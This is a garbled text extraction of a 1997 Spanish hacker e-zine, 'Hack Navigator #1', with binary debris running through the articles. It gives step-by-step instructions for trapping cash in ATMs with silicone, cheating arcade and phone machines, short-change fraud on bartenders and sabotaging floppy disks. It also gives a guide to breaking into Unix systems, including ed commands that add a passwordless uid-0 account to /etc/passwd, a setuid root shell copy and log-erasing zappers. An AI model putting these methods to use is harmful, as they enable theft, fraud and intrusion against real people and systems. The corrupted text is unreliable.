|
?_
Vypl
3Hack Navigator 1
[1]/HACK
NAVIGATOR. Presente edicion por Diogenes.
BrowseButtons()/
&
;)[1]
z4|7N
|CONTEXT*|CTXOMAPe"|FONTp|SYSTEM|TOPIC
|TTLBTREEp"|bm026.]Q6]Q
BN1[1]!
NHack Navigator #1S
6 <<
É
"[1]
N 1 - agosto de
19972
Nó&
FContenidoés G‑F6tàn#$*ҩt•dTrucosCurso
de HackingEncriptaciónEl privilegiado ROOTCómo crackear cualquier sistema
basado en UnixPróximo Número de Hack NavigatorRóo
4 6[1]
F㾋DW Creadores de Hack
NavigatorTodos los contenidos de esta revista son solamente educativos, ninguno
pretende incitar al crimen o a la ilegalidad. Cualquier uso erróneo de esta
información no es responsabilidad nuestra. Así mismo, no nos hacemos
responsables de las informaciones u opiniones de nuestros colaboradores o
informadores.èéW
N j5
F
Disponible en:Iberhack:http://iberhack.islatortuga.comAxis:http://axis.guybrush.inf
(Infovía)http://axis.guybrush.org (Internet)eo
* "[1]
FQEsta revista se distribuye libremente. Te autorizamos a que tú
también lo hagas siempre que no la modifiques, y el disclaimer; los miembros de
las fuerzas y cuerpos de seguridad del Estado deben pagar 5.995 pts para
poder leer la revista así como todos
los funcionarios de cualquier estado reconocido por la ONU, empresa o
asociación con ánimo de lucro.)
W
&
F@O1[1]O~Trucos
de Mikey/ ~&
F
TrucosOJ b
Ftoy/Ñh`"0
B̝Bueno, bueno. Yo soy Mikey y voy a explicar algunos
truquillos, que aprendí cuando estuve en un Internado.Cajero AutomáticoFutbolinesCabinas
y máquinasTrapicheo al BarmanDisco bomba7
~+ &‑F
By Mikey)
&
FB11[1]!
[1]1k
Cajero Automatico:k& (
F
Cajero AutomáticoyO1* $
F
Este truco es la
bomba y además idea mía ;)Vamos a necesitar lo siguiente:k . *ˀ^FJ* Un Tubo de
Silicona (tamaño mediano, no os vayáis a llevar la pistola), cuesta unas 500
pelas* Un Cutter, mas conocido por cuchilla (por si hay alguien mas corto).* Y
un destornillador, por si las moscas (plano y fino).[1]z[1]
'
FBueno, el truco es el siguiente : Vamos a un cajero que no esté
en un punto conflictivo, es decir que no pase casi nadie. Vamos de noche y
sacas dinero, 1.000 pelas o 2.000, lo mínimo, esto es solo para que la ranura
por donde salen los billetes se abra, en ese momento echas las silicona kagando
leches. Y ahora solo queda esperar a que el Señor Boniato, vaya al cajero a
sacar viruta. El Señor Boniato, cuando esté esperando su dinero, se quedará con
cara de tonto y pensando (Que cojones pasa?). Pues pasa, que en lugar de salir
el dinero como normalmente saldría, los billetes se han quedado pegados a la
silicona, y taponados.yQ
( ‑[1]
FEl señor Boniato lo intentará una vez mas, y otra, pero se irá a su
casa desesperado para coger algo, mientras tanto vamos nosotros y con el cutter
o destornillador sacamos la silicona, y esta saldrá con los billetitos
calentitos del Señor Boniato. ;))Te puedes llevar de 2.000 pelas para
arriba (en algunos lo mínimo son 2 talegos).
¿
- (
F
QNota: Os puedo jurar que funciona, ya que lo hice con algunos
kolegas en el internado y me llevé 10.000 pelas de porrazo ;)) 7
+ &‑F
By Mikey;
¿
11[1]
1dRBFutbolines3
d&
F
Futbolines[1][1]1B)
FEs muy fácil. Cuando insertes la moneda, tienes que tirar de una
especie de gancho, pues bien, ahí es donde intervdB
ienes, sin soltarlo lo dejas enganchado, con lo que tengas a mano (yo uso una
moneda de 25 o 50 pero de las antiguas, haceros con una y la guardáis para
estos casos).Echo esto, solo tienes que jugar y dejarte de preocupar por quien
es el que tiene que invitar, ya que cada vez que se cuele una bola, esta vuelve
a caer. Otro truquillo, pero este es una tontería es colocar cualquier
cosa dentro de la portería, pero que no se vea, y así cuando metamos un gol,
solo tenemos que coger la bola de la portería y jugar de nuevo.7
dRB+ &‑F
By MikeyCBB1[1]
L
BBMJCabinas y Máquinas;RBB& *
F
Cabinas y máquinasúBC( ‑e
F
A mi me ha funcionado con duros antiguos, si, de los grandes.La "cosa"
está en coger y meter el duro en una ranurita que está en el hueco por
donde se devuelven las monedas.4BD- ([1]F
------------------|
--- --- ||
| | | | | -> Por aquí se meten las monedas
normalmente.| --- ---
|| || ---
--- || | |
| | | -> Por aquí salen
cuando le das a devolver.| --- ---
|------------------jBCHF( ‑...[1]
F
Pues en los huecos de abajo, si metéis el dedo doblado hacia arriba,
palpareis unas especies de guías, es decir, dos plaquitas de metal, cuya
distancia es casi la de un duro ( en realidad la obertura es mayor). Se trata
de meter el duro antiguo entre esas 2 plaquitas.Antes de nada, probad a
encontrar las 2 plaquitas.}DíF( úF
-----------| || | -> Debéis
palpar algo así dentro del hueco, ya sabéis, metéis el dedo y hacia arriba.| |-----------...YHFrG,
(
F
Nota: El texto en negrita lo he sacado de Iberhack, por
Cacique, Jaime Robles y BlakeíFVI) w
FPara lo siguiente necesitas un mechero eléctrico, (mejor los
grandes, de estos de cocina)ya que son mas potentes. Coges un par de hilos de
cobre y lo enganchas en la pistola en la parte de las chispas, y luego con los
otros dos extremos los metes en las ranuras, le das al pulsador y dan partidas
gratis o crédito. Puede que en algunas no funcione, puede deberse a que algunas
tienen partes de plástico o que no has metido bien los hilos."rGJ- ('
F
QNota: Gastarle el gas antes de hacerlo, ya sabes le metes un
palillo en la boquilla y lo vacías. No vayas a quemar la cabina o los
recreativos.7
VIMJ+ &‑F
By MikeyDJJ1[1]5
JíJÑMTrapicheo al Barman<MJíJ& ,
F
Trapicheo al Barmaní[1][1]JM(
‑K
FEste truco tiene que hacerse en discotecas, pubs, etc. vamos, lugares oscuros. Y con dos Barman.Va
un colega tuyo a una discoteca, pub y le dais un billete de 5.000 por ejemplo,
marcado con un número de teléfono, ejemplo: 405 555 012 Pero que el Barman no lo vea !! Luego
vas tú y te tomas algo, y le das un billete de 1.000 pelas o de 2.000, al
segundo Barman. Cuando te dé la vuelta, le dices Pero que es esto, si yo te
he dado un billete de 5.000 pesetas !! Después de un rato, le dices: hay
fíjate me dieron un número de teléfono y lo apunté en el billete, míralo ya
verás, es el 405 555 012. El Barman con cara de tonto te dará el billete y te
dirá lo siento. 7
íJÑM+ &‑F
By Mikey<
M
N1[1]H
L(
NANdDisco Bomba4
ÑMAN&
F
Disco bombap[1]G[1]
N)
FEsto es para putear a tu peor enemigo, se trata de joderle la
disquetera, pero tranquilos no se trata de una disquetera que explota, sino de
otra cosa, que paso a explicar a continuación.Hay dos maneras, que son las que
a mí personalmente me gustan mas, la de lija y la grapa.Para la primera
necesitamos un disquete y un trozo de lija lo mas fino que encontréis. Abrimos
el disquete con sumo cuidado y dANÑMespegamos el algodoncillo blanco que
tiene de protección y en su lugar colocamos la lija pero en trozitos muy
pequeños, para que no se vean, los pegamos al disquete y ya está.
ANÉ( ‑ǀ
FSolo nos queda pegar el disquete, para dejarlo como antes y dárselo
a tu enemigo.El segundo tipo es lo mismo solo que en lugar de lija colocamos
unas grapas en la banda magnética o dicho de otra manera, en el disco redondo.e9-,
(r
F
QNota: Esto esta basado en el texto de CyberHack de Cy7
Éd+ &‑F
By MikeyA-1[1]Q
[1]Curso
de Hacking=d) "(
F
Curso de Hacking[1][[1]k....
*•
F Los que sepáis de
qué va esto, no hace falta que lo leáis. Esto es para los que no tienen ni
idea, o no saben qué hacer, la idea es promover el hacking en España que vamos
un poquitín rezagados!Bueno, hackear algo es en términos literales liarse a
hachazos, pero no en el sentido de destrozar algo, sino en el sentido de hacer
que las cosas vayan de otras formas, estas formas a veces, son formas muy mal
vistas, por eso se llaman hachazos (hacks) y por tanto, el autor es un hacker
(llamarle hachador o leñador queda muy mal). Es como cuando no funciona la tele
que le damos un golpe y cosas así.a-...4 8Z‑F]7!
KTerminologíaCómo
entrar en un sistema6
k...[1]+
&‑F
By Homs=
...?1[1](
[1]?tJTerminología5[1]t&
‑
F
Terminología
X
?/ ,
FBueno ahí va algo de terminología para que no os perdáis :Boxes:
no se utilizan mucho en hacking. pertenecen al phreaking. consisten en unos
aparatos (circuitos eléctricos en su mayoría) que te permiten hacer cosas
distintas con la línea telefónica, desde las ansiadas blue boxes y black boxes
(llamadas gratuitas) hasta party-lines pasando por rastreadores de llamadas,
emuladores de monedas para las cabinas, y un largo etc.Los pioneros de esto
fueron los americanos en los 70 con las blue boxes. este tipo de caja
(posiblemente el mas famoso) consiste en intercambiar unos tonos con la
centralita durante el momento del establecimiento de la conexión. la idea es
llamar a un teléfono que no genere coste (un tel. gratuito o un cobro
revertido) y en un momento dado, enviamos la señal de colgar la línea, pero no
la colgamos realmente, utilizamos la señal de supervisión de la línea
correspondiente. lo que hacemos es colgar en una centralita pero no en la otra,
y entonces llamamos al teléfono real mientras que nuestra centralita nos esta
comunicando con un teléfono gratuito. es eso a grandes rasgos.#[1]t‑7
<
FCrackear: esta palabra tiene tres acepciones. (bueno,
yo al menos he oído esas tres acepciones). Un cracker es aquel que se dedica a
romper las protecciones software (o a veces hardware como las mochilas, etc.)
de los programas comerciales. pero también, un cracker es aquel que entra en un
sistema solo para destrozarlo todo y tirarlo abajo. por ultimo, un cracker es
un programa que trata de descifrar las passwords de las listas de usuarios de
un servidor.Discador: ver wardialer.
Á- (_
FFTP: es otro tipo de protocolo que se utiliza para realizar
transferencias de archivos. cuando hacemos una conexión a un servidor por ftp
estamos entrando en el servidor a través del puerto 21. Hay ftps de toda clase.
tenéis por ahí algunos muy bonitos como el cuteftp que si se te corta un
archivo a mitad de camino, luego sigues desde la mitad y sin problemas. Yo me
baje un zip de 5mb en 8 trozos!!! el ftp se utiliza para muchas cosas. lo mas
fácil es para entrar en un servidor y bajarte archivos de su red. luego, se
puede utilizar para entrar en las maquinas de cierto tipo de usuarios. para
que? pos mu fácil, para destrozarle el hdd. que yo sepa, no existen ftps que
permitan hacer‑Á[1]
un format ya físicamente ES IMPOSIBLE formatear vía remota, lo que si se puede
hacer es ejecutar un shell remoto y decirle que se autoformatee. También se le
puede meter un virus x ahí, o simplemente dejarle un msg en el autoexec o lo
que queráis!
[1]‑
* "
FKeystroke: este programita normalmente es un TSR que intercepta la
interrupción del teclado (es mejor desviar la irq, es mas complicado, pero
merece la pena), y guardan todas las teclas pulsadas en un archivo de texto.
este programa se deja instalado en el autoexec o algo así. entonces, viene un
gordo, hace un login de root, y mete la password. entra, todo va normal y se
pira. a los dos días, venimos nosotros, editamos el archivito y miramos
y.....ohhhh! sorpresa. pone login :xxxx password : xxxxx ya lo tenemos. bueno, no
es tan fácil. no pone login tal y password tal, solo pone las teclas pulsadas,
pero también pone los enters! ósea, buscamos login+enter lo siguiente es el
username y lo siguiente el password. fácil, no?)
[1]Á71
0ñ
FSniffer: es un monitor de la red. es decir, un programa que
mira todos los paquetes que pasan por la red, de modo que se pueden interceptar
logings con sus respectivas passwords. hay varios tipos de sniffers. se pueden
hacer como scripts del telix, o bien se puede hacer poniendo tu máquina en modo
promiscuo, pero eso seria muy peligroso, pues das mucho cantazo. Por ultimo,
programas como el tcdump son sniffers desde cierto punto de vista.Sushi: set
uid shell. también llamado huevo, es una técnica que consiste en hacer una
copia del shell en otro directorio publico para que podamos entrar sin root,
luego le asignamos como propietario el propio root y le decimos que ese shell
se ejecute con los privilegios del propietario (en este caso el root).[1][1]
1 0[
FTelnet: bueno, el telnet es un programa que visto desde
fuera, parece un simple terminal anticuado y con poca potencia. el telnet es
una potente herramienta si se sabe utilizar. hay sistemas en los que solo se
puede entrar a través del telnet. es cuestión de cogerle la practica al telnet
y probar todo lo que tiene (entrad por otros puertos, otras emulaciones, etc).
en una conexión telnet, entramos al servidor por el puerto 23.Tcp wrapper: es
una utilidad para facilitar el filtrado de datos, es utilizado por los roots
para tener total completo sobre las máquinas conectadas a su sistema. Son muy
potentes, así que si no sabéis lo que hacéis, no os pongáis a destrozar todo.à
7+ $k
FWardialer: un wardialer, discador, scanner, es un programa que se
encarga de llamar a muchos números de teléfono en busca de portadoras. llamar a
muchos números a mano seria muy complicado, así que se deja el wardialer y el
solito llama. estas portadoras están presentes en los modems, faxes, etc.El
wardialer llama y espera contestación. Si contesta una persona cuelga
directamente, y si contesta un módem, anota el numero de teléfono (algunos
loguean también el tipo de portadora) y cuelga también. De este modo, tras unos
5000 números de búsqueda, tenemos xx números conectados a módems. Hay varios
trucos para acelerar los escaneos. Por ejemplo, colgar muy pronto (al 2 o 3er
ring). Buscar distritos telefónicos. Por ejemplo, imaginaros que queréis entrar
en una universidad: buscáis su numero de teléfono y si empieza por 357, pues
entonces es muy posible que también el módem empiece por 357. solo tenéis que
buscar del 3570000 al 3579999. :-D esta técnica se ha hecho famosa debido a la
película juegos de guerra, donde el protagonista hace un escaneo. Por eso se
llama WARdialer o discador-war-games. Nunca hagáis hacking en números 900.
Estos números localizan automáticamente las llamadas.é*
"ó
FZapper: es un programa que se encarga de eliminar nuestra presencia
de los logs tipo utmp y wtmp (estos logs no están en modo texto, y no podemos
entrar con un simple editor). Se llaman zapper porque el mas famoso se llamab[1]a
zap.6
J+ &‑F
By HomsJ"1[1]-
"[1] "ICómo entrar en un sistemaBJ&
8
F
Cómo entrar en un sistemau"q&
FBueno, cuando vayáis a entrar a un sistema, mis pasos a seguir (como
los de cualquier hacker) son los siguientes :([1]֙
* "
^FJ1.Entrar en el sistema y conseguir el máximo de
información posible. Sistema operativo, versión, sendmail, puertos de acceso,
media de usuarios conectados. Una vez conseguida la máxima información posible,
buscad los bugs mas comunes que puedan haber (en cualquier zine de hacking
podréis ver bugs de sistemas operativos). también seria interesante que
encontraseis otros servidores con datos comunes o con acceso a esa maquina, de
forma que si se complica, podéis atacar al gordo desde la máquina pequeña.-
q
) "^FJ#
é
* "ó^FJ2.Conseguir acceso como root. Este
paso es importante hacerlo deprisa y bien hecho. Da mucho el cante ver a un
pavo entrando con 53.285 logins o buscando passwords a las 5 de la mañana. Hay
muchísimas formas de entrar. Las principales son estas:)
&
F=[1][1]é
O* "'
‑F- Aprovechar listas de
usuarios/passwords. Aunque no lo parezca, muchas veces funciona debido a que un
admin. torpe se ha dejado alguna cuenta activada.- Aprovechar fallos en los
protocolos TCP/IP. Este protocolo es el mas estudiado, así que no os quedareis
nunca sin información. Algunos Servicios que aprovechan este protocolo son el
telnet, el ftp, el gopher, el sendmail, el http. Es difícil controlar todos los
fallos de seguridad de todos estos servicios, así que siempre se encuentran
fallos de seguridad en el web, etc.N
1 0;‑F- Aprovechar
los fallos de seguridad de UNIX. (en general)- Aprovechar los fallos de
seguridad del sistema en el que tratamos de entrar.- Instalar un keystroke para
conseguir password.- Colocar un sniffer.- Servicios de red tipo Network File
System (NFS)/Netword Information Service (NIS)- Alterar el archivo .rhost
(UNIX)- IP Spoofing o también utilizar UUCP- Recompilar las librerías del
telnet para buscar fallos y entrar por ahí.- Conseguir el archivo de passwords
y utilizar algún cracker para descifrarlas. Estos programas son el Jack, el
John, el Crack de Unix, etc. Si el sistema utiliza passwords con shadow, la
cosa se complica, tendréis que buscar el archivo donde están las claves-shadow.
(si es ilegible, tendréis que usar un programa, lo podéis encontrar en muchos
sitios)[1]O
* "
‑F- Si las cosas se complican y queréis ser
discretos, podéis utilizar un sniffer para buscar a un root. Cuando lo tengáis,
logueadle durante una temporadita. Luego simplemente es hacer una clonación de
IP y entrar como el. (mucho cuidado con esto. es completamente imposible que
existan dos IP's iguales, así que tenéis que obligarle a utilizar otra).- Hay
muchisímas formas de entrar. NO EXISTE NINGUN SISTEMA DONDE NO SE PUEDA ENTRAR.
Así que es importante armarse de buenas referencias.)
&
F
U
g@* "^FJ3.Ocultarse en el sistema. Este es (para mi) el
paso mas importante. Si no sabéis ocultar vuestras huellas, no sirve de nada
entrar. Este paso es muy difícil, ya que hay sistemas en los que es
literalmente IMPOSIBLE no dejar huellas. El problema principal son los logs.
Los mas famosos son los utmp, los wtmp, los accountings (si esta activado, es
imposible quitar todas las huellas), los syslogs, los desviados a un
terminal/consola, etc. De todas formas, es difícil que un servidor tenga
activado el accounting, ya que ocupa muchísimo en disco. utilizar un sushi es
bastante cómodo, pero es muy fácil que te pille un administrador y si es listo,
es posible que en lugar de quitártelo o cerrarte el acceso, te siga la pista y
vea todo lo que haces. Y si estas
g@J mucho tiempo en ese sistema, tal vez pueda hacerte alguna putada. yo casi
nunca los uso.-
"@) "^FJúg@nB, &]
^FJ4.Conseguir la información necesaria. Aquí es
uno de los puntos donde entra la ética del hacker. Hay hackers que una vez que han
llegado aquí se convierten en crackers y destrozan todo el sistema. Esta es la
idea que comúnmente se tiene de un hacker, pero realmente, el hacker verdadero,
lo único que destroza son los logs Y NADA MAS. Es interesante ver como cambia
la idea que se tiene de un hacker a través de los tiempos.Ц"@>C* "M^FJ5.Dejar
el sistema como estaba y pirarse, esto es lo mas facilito. Pero si no habéis
borrado bien las huellas de vuestra presencia, podéis pasar bastantes apuros.[1]nBXE(
‑
FQue no os de miedo entrar en un sistema. Hay millones de servidores
en todo el mundo. No pasa nada si os cierran el acceso a un servidor por malos.
Empezad por servidores flojitos (no los destrocéis, por favor, que sirvan como
guía a los hackers nuevos), y poco a poco, iréis aprendiendo. Pero creedme, no
vayáis de malos por ahí y limitaros a conseguir la información que queréis y
punto. Será mejor para el servidor, mejor para vosotros y mejor para la imagen
que se tiene de los hackers, ok?
[1]>CpH(
‑á
FEn cuanto a un chat. mucho cuidado con lo que decís. Hay muchos
listos que han caído por culpa de hablar mucho en un chat. Si queréis hacer
cabronadas en un chat, adelante, pero eso no os da derecho a llamaros hackers.
Si sabéis hacer un script, muy bien, felicidades, pero no sois hackers por eso.
Si queréis mi opinión, mi script del mIRC solo lo uso para defenderme de los
paletos que no paran de flodear.Por ultimo, un hacker tiene que conocer bien su
máquina a nivel de hardware. Por eso es tan importante saber programar (os
recomiendo pascal, c y sobretodo ASM), también la estructura de vuestro equipo
(cpu, memoria, módem, s.o, etc.) y también es importante saber cómo funciona la
red (los siete niveles ISO, protocolos, utilidades, etc.).vOXEH' ‑
FEso es todo, chavales. espero que esto os haya servido de algo.
feliz hack!6
pHI+ &‑F
By Homs=
HYI1[1]6
[1]A[1]
YIIJEncriptación?II&
2
F
Encriptación (Por Taz)ԋYIlJI `
F
jU މmW:X$\WRomper PGP usando todas las claves
posiblesNSA crackear RSACrackear RSA públicamenteAsegurarLa mejor forma de
crackear PGP1 IJ( ‑F
By Taz\+lJJ1[1]í "[1]-
JQKRomper PGP usando todas las claves posiblesX/JQK) "^
F
Romper PGP usando todas las claves posibles
J
O'
FLa mayoría de los usuarios no entiende el tamaño del problema. El
esquema de encriptación IDEA requiere una clave de 128 bit. Cualquiera de 2^128
combinaciones posibles podrían ser legales como clave, y sólo esa única clave
puede desencriptar con éxito todos los bloques de un mensaje. Supongamos que ha
desarrollado un chip especial que puede probar un billón de claves por segundo
(algo hoy en día muy lejos de la realidad). También decimos que puede permitirse
usar un billón de tales chips para resolver el mismo problema al mismo tiempo.
La tarea todavía requeriría más de 10.000.000.000.000 de años para probar todas
las claves posibles de 128 bits. Todavía no conozco a nadie que haya durado mil
veces la edad del universo que conocemos. Aunque la velocidad de los
ordenadores sigue aumentando y los costes decrecen muy rápidamente, es casi
probable que nunca IDEA pueda ser crackeado por F-brute.[1]r[1]QK'
FEl único tipo de ataque que podría tener éxito es uno que intenta
resolver el problema desde el punto de vista matemático analizando las
transformaciones que toman lugar entre bloques de texto puro y sus equivalen
OJtes de texto cifrado. IDEA es un algoritmo bastante
nuevo. Todavía tiene que trabajarse en términos de teoría de complejidad. Hasta
ahora, parece que ningún algoritmo está mucho mejor preparado para resolver una
cifra IDEA que el ataque de F-Brute, el cual es impracticable. la
transformación no linear que tiene lugar en IDEA lo pone en una clase de
problemas matemáticos extremadamente difíciles de resolver.
O\'
FUna frase de paso en un password sin palabras formado por las primeras letras de las palabras en una
frase fácilmente recordable, ejemplo 2b
de "To be, or not to be". La gente utiliza esta aproximación a causa
de métodos de crackeo de F-Brute, a menudo usados en ficheros de password
encriptados con DES, que prueban todas las palabras en un diccionario y una
lista de nombre propios comunes.1 ( ‑F
By TazA\1[1]•A[1]à[1]
...NSA crackear RSA9& &
F
NSA crackear RSAU.\...' ][1]
FLa peña se preguntara si NSA fuera capaz de crackear RSA. La mejor
defensa contra esta posibilidad es el hecho que el algoritmo para RSA es
conocido mundialmente. Hoy en día no, cuando lea mensajes en Usenet diciendo
que alguien les dijo que la NSA es capaz de romper PGP, pida documentación
exacta.1 ...( ‑F
By TazJ\......1[1]-
...íCrackear RSA
públicamenteB...& 8
F
Crackear RSA públicamente[1]e[1]...(
‑
FUn mensaje encriptado con RSA ha sido crackeado públicamente. Cuando
los inventores de RSA publicaron por primera vez el algoritmo, encriptaron un
mensaje de prueba y lo hicieron disponible con clave pública para encriptarlo.
RSA ofreció 100 dólares a la primera persona que proporcionara el mensaje en
texto puro. Este reto es a menudo llamado RSA-129, por la clave pública
utilizada era e 129 dígitos, lo que se traduce aproximadamente a 430 bits.Recientemente,
un equipo internacional factorizó con éxito la clave pública utilizada para
encriptar el mensaje RSA-129 y recuperaron el mensaje puro que decía:P*&
T
F THE MAGIC WORDS ARE
SQUEAMISH OSSIFRAGE[1][1]ҋ(
‑i
FLos participante utilizaron el algoritmo de factorización más
conocido en ese momento. Se han descubierto mejores métodos desde entonces,
pero los resultados todavía son instructivos sobre la cantidad de trabajo
requerida para crackear un mensaje encriptado.Los coordinadores han estimado
que el proyecto tomó alrededor de 8 meses de tiempo real y usó aproximadamente
5.000 MIPS-años de tiempo de computación. Un MIPS-año es aproximadamente la
cantidad de computación hecha por un ordenador de 1 MIPS (millones de
instrucciones por segundo) en un año. La clave RSA-129 es aproximadamente igual
en seguridad que una clave PGP de 426 bits, que ha sido demostrada como
fácilmente crackeable.a53, (j
F[1]Q Para más información en el proyecto
RSA-129, vea:i7ҋ2 4n
FQftp://ftp.ox.ac.uk/pub/math/rsa129/rsa129.ps.gz1 3í( ‑F
By Taz91[1]
à[1]
7=Asegurar1
í7&
F
Asegurar&]. *ñ
FMucha peña utiliza la opción (-m) y esta opción no es nada
segura, se puede vencer de muchas formas. La forma más fácil de saltarle la
vielas a un fichero es TACHAN!!!Simplemente redireccionando la salida por pantalla
a un fichero como sigue:N(7& P
Fpgp nombre fichero > fichero en discoI]
- (9[1]
FLa opción -m no esta hecha con la intención de ser una opción a
prueba de fallos para evitar la generación de ficheros de texto puro, sino para
servir simplemente como aviso para la persona que desencripta el fichero que no
debería mantener una copia de texto puro en el sistema.
í1 =( ‑F
By TazN
1[1]
N
mLa mejor forma de crakear PGPG!=& B
F
La mejor forma de crackear PGPu[1]M[1]G(
‑
FAhora mismo, el mejor ataque posible sobre PGP es un ataque de diccionario
sobre la frase de paso. Este tipo de ataque es uno en el que un programa elige
palabras de un diccionario y la a junta de diferentes maneras en un intento de
adivinar su frase de paso.Este tipo de ataque en el que muchos programas de
crackeo son muy sofisticados y pueden tomar ventaja de idiomas, frases
populares y reglas gramaticales al construir sus intentos. Frases de una sola
palabra, nombres propios (sobre todo famosos), citas famosas son casi siempre
crackeables por programa mínimamente inteligente.<'
FIDEA es un algoritmo bastante nuevo. Todavía tiene que trabajarse en
términos de teoría de crackeo de F-Brute, a menudo usados en ficheros de
password encriptados con DES, que prueban todas las palabras.1 Gm( ‑F
By TazE<IJ1[1]r
[1]
ó4El privilegiado ROOTAmó) "0
F
El privilegiado ROOTp[1]H[1]c(
‑
FUna de las metas que debemos conseguir, una vez hallamos entrado en
la maquina que vayamos ha hackear, es conseguir dominar la maquina como si
fuésemos nosotros los administradores, ha esto se le llama (como ya sabéis)
conseguir privilegios de root. Esto es vital para poder hacer algo interesante
en la máquina, puesto que con una cuenta normal de usuario, los privilegios
solo nos dan acceso a nuestro directorio de inicio.Hay varias técnicas para
lograr ser root, pero yo explicare solamente unas cuantas y debéis ser vosotros
los que tenéis que elegir el método mas apropiado.a[1]9[1]óÉ( ‑s
FAntes de nada, deciros que para ser un buen hacker lo mas fácil es
empezar por aprender a usar el UNIX, con lo cual os aconsejo que os instaléis
el Linux (es como el UNIX para PCs mas asequible) y que vayas probando, pero si
no podéis instalaros el Linux deberíais aprender lo básico, buscando documentos
por Inet, o comprándoos algún librillo, bueno cada cual que se las apañe como
pueda.Esto pretende ser un texto para inicializados en este apasionante
mundillo, por lo que si ya sabes un poco de Hack, te vas a aburrir un rato,
(aunque siempre es bueno repasar).=c- *
FKD7Los Shells3
É4( ‑F
By AtilA;
o1[1]éN
|
oʦ=D[1]Los
Shells7
4ʦ) "
F
Los Shellsoʜ'
FEmpezaré por un método que es relativamente fácil de usar y que da
buenos resultados. Los SHELLS son como el COMMAND.COM del MS-DOS y hay varios
tipos de shells, dependiendo de la maquina en que estemos. ۡw: BC‑Fcsh
- C-Shell, permite usar el lenguaje c como comandosvsh - Casi nunca se
encuentra, es como el Windows de DOS (+ o -)ksh- Korn Shell, otro masetc...l[1]6[1]6
:m
FTambién puede haber algún shell que se halla
construido el Administrador lo cual supone una gran putada, porque puede ser
muy raro.Los shells son programas que se ejecutan cuando entras en un sistema,
lo cual reconoces porque aparece el símbolo $ como prompt (esto es lo mayoría, no siempre). Y cuando eres root
tienes el prompt #.Entonces es aquí cuando empezamos a trabajar.... (je,je,je)Otro
método para poder llegar a ser root seria crear una cuenta en el sistema pero
este tiene que cumplir unos requisitos (que desgraciadamente no lo cumplen
todos):[1]úw[1]5
8
‑FրLa cuenta BIN tiene que tener
como OWNER (propietario, ahora lo explico) el fichero Passwd.El OWNER (propietario)
de un fichero es el que tiene permisos para hacer con el lo que sea, el root es
el OWNER de todo el sistema y un[1]4a
cuenta de nivel de usuario, tiene los permisos de todo su directorio y de los
ficheros que tenga la cuenta BIN. Cada fichero puede tener unos permisos que
pueden ser : lectura, escritura o ejecución, así por ejemplo un haces lo
siguiente:[2Y[1])
"d‑F9$ls -lr-xrwxr-- atila root 512 Jun 12 shellL[1][1][1]
[1]6
:-
‑FրLa primera palabra
(r-xrwxr--) nos dice los permisos del fichero shell, y esta compuesto por 3
grupos de 3 letras juntos.r-x : son los permisos del OWNER o propietario del archivo
r = read , x=ejecutable. Se puede leer y ejecutar el archivo, pero no escribir.rwx
: son los permisos del grupo al cual pertenece el usuario, (los usuarios además
pertenecen a un grupo, ósea que puede haber un grupo de roots, y un grupo de
usuarios) y quiere decir que puede
leer(r), escribir (w) y ejecutar (x), el fichero, en este caso shell.'FY[1]7[1]L
f[1]‑Fր
r-- : Son los permisos de los demás usuarios como los anónimos, o cualquier
otro usuario, y solamente pueden leer (r), el fichero.La segunda palabra (atila)
es el nombre del usuario.La tercera (root) el grupo al que pertenece.Después
vienen: el tamaño (512), la fecha (Jun 12) y el nombre del fichero (shell)h
[1]É[1]) Ñ[1]
FLa cuenta bin es la que se encarga de decir que ficheros puedes
tocar.En muchos sistemas la cuenta bin es el propietario del fichero passwd, lo
cual quiere decir que podemos modificar el archivo, y lo cual también quiere decir
que podemos añadir una cuenta con los privilegios que queramos.Para añadir una
cuenta hay que hacer lo siguiente (sin password):f7[1]][1]/ .̀‑F$ed
/etc/passwd[ un numero de bytes ]* aatila::0:0:AtilA:/usr/atila/:/usr/sh{control+d}*w*q$
m
É[1]
[1]/
,
FUna vez hecho esto debemos tener en cuenta que si modificamos
el fichero passwd, el administrador se daría cuenta enseguida, así que debemos
Hackear cuando estemos seguros de que el administrador no este delante del
ordenador (un domingo por la noche, por ejemplo o en alguna fiesta nacional,
cuando todo el mundo se divierte, tu ... TAMBIEN je,je,je), y debemos hacerlo
rápido.Ahora una vez añadido una cuenta, ponemos: exec login y entramos como ROOT.El
root cuando entra en el sistema tiene un shell, que es en realidad el que le
convierte en root, pues uno de nuestros objetivos es copiar ese shell que
normalmente esta en /bin/sh a un archivo que tengas en tu directorio (con lo cual
podrás ejecutarlo), por ejemplo /usr/atila/.shell, (suponiendo que entremos con
la cuenta de Atila) de tal manera que cuando ejecutes ese archivo SERAS ROOT.
Se hace de esta manera:][1]
[1]2
2‑F$cp /bin/sh /usr/atila/.shell (el
punto antes del nombre indica que el archivo shelles oculto)$chmod a+s
/usr/atila/.shell $shell##[1]
[1]
[1]4
6
FUna vez llegado aquí te aconsejo que borres la cuenta de
root que te creaste y añadas una de usuario normal, puesto que es un cantazo
para el administrador si le da por mirar el passwd. Así cada vez que entres en
el sistema ejecutas el archivo en el cual tenias copiado el shell del root, y
volverás a ser root. RECUERDA que no debes dejar huellas, aunque si no vas ha
hacer nada malo no le des mucha importancia (yo siempre se la doy), mete algún ZAPPER
y ocúltalo o haz lo que quieras.
à
[1]
[1]-
(Á
ÉF[1]Nota
para los novatos: Un ZAPPER es un programa que elimina todas tus huellas de los
ficheros que guardan todo lo que haces, desde ejecutar un fichero hasta tu
entrada en el sistema, sin tener que borrar todo el fichero.Z4
[1]?[1]&
h
FLo metes vía FTP y lo compilas poniendo algo así:֟
[1]!@[1]7
<?‑F$ cc -o zapper zapper.c
(siendo zapper el binario y zapper.c el código fuente que has metido por FTP)$
zapper (esto ultimo es para ej?[1]!@[1]4ecutarlo,
claro)$?[1]@[1]'
FAquí cada uno hace lo que le plazca, el sistema es tuyo, y es además
donde entra en juego la ética del Hacker o la del Cracker. ܲ!@[1]B[1]*
"e
F
Ten en cuenta que este método se basa en la mala
configuración del sistema al que entres y que además debe ser un sistema donde
halla muchos usuarios porque de los contrario solamente podrás hackear una vez
(a no ser que el administrador sea tonto). Los lugares idóneos, suelen ser
Universidades, o nuevos sites, donde no han tenido tiempo para borrar todas las
cuentas default o no han puesto todos los parches para los bugs, etc.c<@[1]
D[1]'
y[1]
FBueno hasta aquí ha llegado mi articulillo, que para los neófitos
será de gran ayuda y para los no tan neófitos un coñazo. Si el jefe me deja,
volveré a escribir aquí, pero la próxima vez comenzaré ha sacarle el jugo a los
bugs que al fin y al cabo es la manera por excelencia de hackear ( y la que mas
funciona).3
B[1]=D[1]( ‑F
By AtilA^-
D[1]D[1]1[1]^
[1]
...
